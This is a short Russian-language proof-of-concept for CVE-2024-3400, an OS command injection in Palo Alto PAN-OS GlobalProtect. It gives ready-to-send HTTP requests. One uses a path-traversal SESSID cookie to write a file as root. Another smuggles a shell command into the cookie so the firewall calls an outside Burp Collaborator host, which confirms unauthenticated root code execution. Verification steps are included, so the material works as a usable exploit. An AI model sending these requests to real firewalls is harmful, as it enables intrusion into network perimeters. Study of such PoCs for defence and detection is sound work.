
CVE-2024-3400 PAN-OS: Уязвимость внедрения команд ОС в GlobalProtect
CVE-2024-3400 Внедрение команд в ОС Palo Alto
Описание от производителя
Уязвимость внедрения команд в функции GlobalProtect программного обеспечения PAN-OS от Palo Alto Networks для определенных версий PAN-OS и отдельных конфигураций функций может позволить неаутентифицированному злоумышленнику выполнить произвольный код с привилегиями root на межсетевом экране.
Благодарность watchtowr labs 🚀
HTTP-запрос:
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
poc.txt должен быть создан по пути /var/appweb/sslvpndocs/global-protect/portal/images/poc.tx с привилегиями root.
Если уязвимость присутствует, вы получите 403 при обращении к poc.txt вместо 404.
GET /global-protect/portal/images/poc.txt HTTP/1.1
Host: 127.0.0.1
Connection: close
Телеметрия должна быть включена.
Вы можете использовать Burp Collaborator для проверки RCE
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`hostname${IFS}burpcollaborator.net `;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0